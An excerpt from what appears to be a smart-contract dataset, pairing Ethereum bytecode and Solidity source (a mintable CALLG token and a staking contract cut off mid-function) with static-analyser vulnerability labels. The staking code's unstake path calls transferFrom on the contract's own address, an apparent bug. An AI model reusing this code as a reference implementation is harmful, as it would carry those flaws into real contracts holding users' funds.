01b179052610ce8908590610cee565b50505050565b610d00826001600160a01b0316610fa2565b610d51576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b60006060836001600160a01b0316836040518082805190602001908083835b60208310610d8f5780518252601f199092019160209182019101610d70565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114610df1576040519150601f19603f3d011682016040523d82523d6000602084013e610df6565b606091505b509150915081610e4d576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b805115610ce857808060200190516020811015610e6957600080fd5b5051610ce85760405162461bcd60e51b815260040180806020018281038252602a815260200180611000602a913960400191505060405180910390fd5b60008184841115610f355760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610efa578181015183820152602001610ee2565b50505050905090810190601f168015610f275780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b60008183610f8c5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610efa578181015183820152602001610ee2565b506000838581610f9857fe5b0495945050505050565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a4708115801590610fd65750808214155b94935050505056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a265627a7a7231582023a3c9c1ec3bb8b4c616c9048f91044fd8ab3dcab632f2383fb156f8be62ff1c64736f6c63430005100032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 5,149 |
0x1cb3d8997bc39667e9cbb2aa70203f94ecda1422
|
pragma solidity 0.4.24;
/*
Capital Technologies & Research - Capital GAS (CALLG)
*/
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/openzeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
/**
* @title CAPITAL GAS (CALLG) Token
* @dev Token representing CALLG.
*/
contract CALLGToken is MintableToken {
string public name = "CAPITAL GAS";
string public symbol = "CALLG";
uint8 public decimals = 18;
}
|
0x6080604052600436106100f1576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b146100f657806306fdde0314610125578063095ea7b3146101b557806318160ddd1461021a57806323b872dd14610245578063313ce567146102ca57806340c10f19146102fb578063661884631461036057806370a08231146103c5578063715018a61461041c5780637d64bcb4146104335780638da5cb5b1461046257806395d89b41146104b9578063a9059cbb14610549578063d73dd623146105ae578063dd62ed3e14610613578063f2fde38b1461068a575b600080fd5b34801561010257600080fd5b5061010b6106cd565b604051808215151515815260200191505060405180910390f35b34801561013157600080fd5b5061013a6106e0565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561017a57808201518184015260208101905061015f565b50505050905090810190601f1680156101a75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101c157600080fd5b50610200600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061077e565b604051808215151515815260200191505060405180910390f35b34801561022657600080fd5b5061022f610870565b6040518082815260200191505060405180910390f35b34801561025157600080fd5b506102b0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061087a565b604051808215151515815260200191505060405180910390f35b3480156102d657600080fd5b506102df610c34565b604051808260ff1660ff16815260200191505060405180910390f35b34801561030757600080fd5b50610346600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c47565b604051808215151515815260200191505060405180910390f35b34801561036c57600080fd5b506103ab600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e2d565b604051808215151515815260200191505060405180910390f35b3480156103d157600080fd5b50610406600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110be565b6040518082815260200191505060405180910390f35b34801561042857600080fd5b50610431611106565b005b34801561043f57600080fd5b5061044861120b565b604051808215151515815260200191505060405180910390f35b34801561046e57600080fd5b506104776112d3565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104c557600080fd5b506104ce6112f9565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561050e5780820151818401526020810190506104f3565b50505050905090810190601f16801561053b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561055557600080fd5b50610594600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611397565b604051808215151515815260200191505060405180910390f35b3480156105ba57600080fd5b506105f9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506115b6565b604051808215151515815260200191505060405180910390f35b34801561061f57600080fd5b50610674600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117b2565b6040518082815260200191505060405180910390f35b34801561069657600080fd5b506106cb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611839565b005b600360149054906101000a900460ff1681565b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107765780601f1061074b57610100808354040283529160200191610776565b820191906000526020600020905b81548152906001019060200180831161075957829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156108b757600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561090457600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561098f57600080fd5b6109e0826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118a190919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a73826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118ba90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b4482600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118a190919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600660009054906101000a900460ff1681565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ca557600080fd5b600360149054906101000a900460ff16151515610cc157600080fd5b610cd6826001546118ba90919063ffffffff16565b600181905550610d2d826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118ba90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610f3e576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610fd2565b610f5183826118a190919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561116257600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561126957600080fd5b600360149054906101000a900460ff1615151561128557600080fd5b6001600360146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60058054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561138f5780601f106113645761010080835404028352916020019161138f565b820191906000526020600020905b81548152906001019060200180831161137257829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156113d457600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561142157600080fd5b611472826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118a190919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611505826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118ba90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061164782600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118ba90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561189557600080fd5b61189e816118d6565b50565b60008282111515156118af57fe5b818303905092915050565b600081830190508281101515156118cd57fe5b80905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561191257600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505600a165627a7a72305820ad04613cff9d2df0764360190508be2e70d700e5dd15e7019d53872d193561610029
|
{"success": true, "error": null, "results": {}}
| 5,150 |
0xef0f8111145465d1aa9df54e8d064b3ee7e3f9f2
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.16;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library BasisPoints {
using SafeMath for uint;
uint constant private BASIS_POINTS = 10000;
function mulBP(uint amt, uint bp) internal pure returns (uint) {
if (amt == 0) return 0;
return amt.mul(bp).div(BASIS_POINTS);
}
function divBP(uint amt, uint bp) internal pure returns (uint) {
require(bp > 0, "Cannot divide by zero.");
if (amt == 0) return 0;
return amt.mul(BASIS_POINTS).div(bp);
}
function addBP(uint amt, uint bp) internal pure returns (uint) {
if (amt == 0) return 0;
if (bp == 0) return amt;
return amt.add(mulBP(amt, bp));
}
function subBP(uint amt, uint bp) internal pure returns (uint) {
if (amt == 0) return 0;
if (bp == 0) return amt;
return amt.sub(mulBP(amt, bp));
}
}
interface IERC20 {
function transfer(address recipient, uint256 amount) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Staking is Context, Ownable {
using BasisPoints for uint;
using SafeMath for uint;
uint256 constant internal DISTRIBUTION_MULTIPLIER = 2 ** 64;
IERC20 private token;
mapping(address => uint) public stakeValue;
mapping(address => int) public stakerPayouts;
uint public totalDistributions;
uint public totalStaked;
uint public totalStakers;
uint public profitPerShare;
uint private emptyStakeTokens; //These are eth given to the contract when there are no stakers.
uint public startTime;
event OnDistribute(address sender, uint amountSent);
event OnStake(address sender, uint amount);
event OnUnstake(address sender, uint amount);
event OnReinvest(address sender, uint amount);
event OnWithdraw(address sender, uint amount);
struct Checkpoint {
uint128 fromBlock;
uint128 value;
}
mapping(address => Checkpoint[]) internal stakeValueHistory;
Checkpoint[] internal totalStakedHistory;
modifier whenStakingActive {
require(startTime != 0 && now > startTime, "Staking not yet started.");
_;
}
constructor(IERC20 _token) public {
token = _token;
}
function setStartTime(uint _startTime) external onlyOwner {
startTime = _startTime;
}
function stake(uint amount) public whenStakingActive {
require(token.balanceOf(msg.sender) >= amount, "Cannot stake more Tokens than you hold unstaked.");
if (stakeValue[msg.sender] == 0) totalStakers = totalStakers.add(1);
_addStake(amount);
require(token.transferFrom(msg.sender, address(this), amount), "Stake failed due to failed transfer.");
emit OnStake(msg.sender, amount);
}
function unstake(uint amount) external whenStakingActive {
require(stakeValue[msg.sender] >= amount, "Cannot unstake more Token than you have staked.");
// Update staker's history
_updateCheckpointValueAtNow(
stakeValueHistory[msg.sender],
stakeValue[msg.sender],
stakeValue[msg.sender].sub(amount)
);
// Update total staked history
_updateCheckpointValueAtNow(
totalStakedHistory,
totalStaked,
totalStaked.sub(amount)
);
//must withdraw all dividends, to prevent overflows
withdraw(dividendsOf(msg.sender));
if (stakeValue[msg.sender] == amount) totalStakers = totalStakers.sub(1);
totalStaked = totalStaked.sub(amount);
stakeValue[msg.sender] = stakeValue[msg.sender].sub(amount);
stakerPayouts[msg.sender] = uintToInt(profitPerShare.mul(stakeValue[msg.sender]));
require(token.transferFrom(address(this), msg.sender, amount), "Unstake failed due to failed transfer.");
emit OnUnstake(msg.sender, amount);
}
function withdraw(uint amount) public whenStakingActive {
require(dividendsOf(msg.sender) >= amount, "Cannot withdraw more dividends than you have earned.");
stakerPayouts[msg.sender] = stakerPayouts[msg.sender] + uintToInt(amount.mul(DISTRIBUTION_MULTIPLIER));
msg.sender.transfer(amount);
emit OnWithdraw(msg.sender, amount);
}
function distribute() external payable {
uint amount = msg.value;
if(amount > 0){
totalDistributions = totalDistributions.add(amount);
_increaseProfitPerShare(amount);
emit OnDistribute(msg.sender, amount);
}
}
function dividendsOf(address staker) public view returns (uint) {
int divPayout = uintToInt(profitPerShare.mul(stakeValue[staker]));
require(divPayout >= stakerPayouts[staker], "dividend calc overflow");
return uint(divPayout - stakerPayouts[staker])
.div(DISTRIBUTION_MULTIPLIER);
}
function totalStakedAt(uint _blockNumber) public view returns(uint) {
// If we haven't initialized history yet
if (totalStakedHistory.length == 0) {
// Use the existing value
return totalStaked;
} else {
// Binary search history for the proper staked amount
return _getCheckpointValueAt(
totalStakedHistory,
_blockNumber
);
}
}
function stakeValueAt(address _owner, uint _blockNumber) public view returns (uint) {
// If we haven't initialized history yet
if (stakeValueHistory[_owner].length == 0) {
// Use the existing latest value
return stakeValue[_owner];
} else {
// Binary search history for the proper staked amount
return _getCheckpointValueAt(stakeValueHistory[_owner], _blockNumber);
}
}
function uintToInt(uint val) internal pure returns (int) {
if (val >= uint(-1).div(2)) {
require(false, "Overflow. Cannot convert uint to int.");
} else {
return int(val);
}
}
function _addStake(uint _amount) internal {
// Update staker's history
_updateCheckpointValueAtNow(
stakeValueHistory[msg.sender],
stakeValue[msg.sender],
stakeValue[msg.sender].add(_amount)
);
// Update total staked history
_updateCheckpointValueAtNow(
totalStakedHistory,
totalStaked,
totalStaked.add(_amount)
);
totalStaked = totalStaked.add(_amount);
stakeValue[msg.sender] = stakeValue[msg.sender].add(_amount);
uint payout = profitPerShare.mul(_amount);
stakerPayouts[msg.sender] = stakerPayouts[msg.sender] + uintToInt(payout);
}
function _increaseProfitPerShare(uint amount) internal {
if (totalStaked != 0) {
if (emptyStakeTokens != 0) {
amount = amount.add(emptyStakeTokens);
emptyStakeTokens = 0;
}
profitPerShare = profitPerShare.add(amount.mul(DISTRIBUTION_MULTIPLIER).div(totalStaked));
} else {
emptyStakeTokens = emptyStakeTokens.add(amount);
}
}
function _getCheckpointValueAt(Checkpoint[] storage checkpoints, uint _block) view internal returns (uint) {
// This case should be handled by caller
if (checkpoints.length == 0)
return 0;
// Use the latest checkpoint
if (_block >= checkpoints[checkpoints.length-1].fromBlock)
return checkpoints[checkpoints.length-1].value;
// Use the oldest checkpoint
if (_block < checkpoints[0].fromBlock)
return checkpoints[0].value;
// Binary search of the value in the array
uint min = 0;
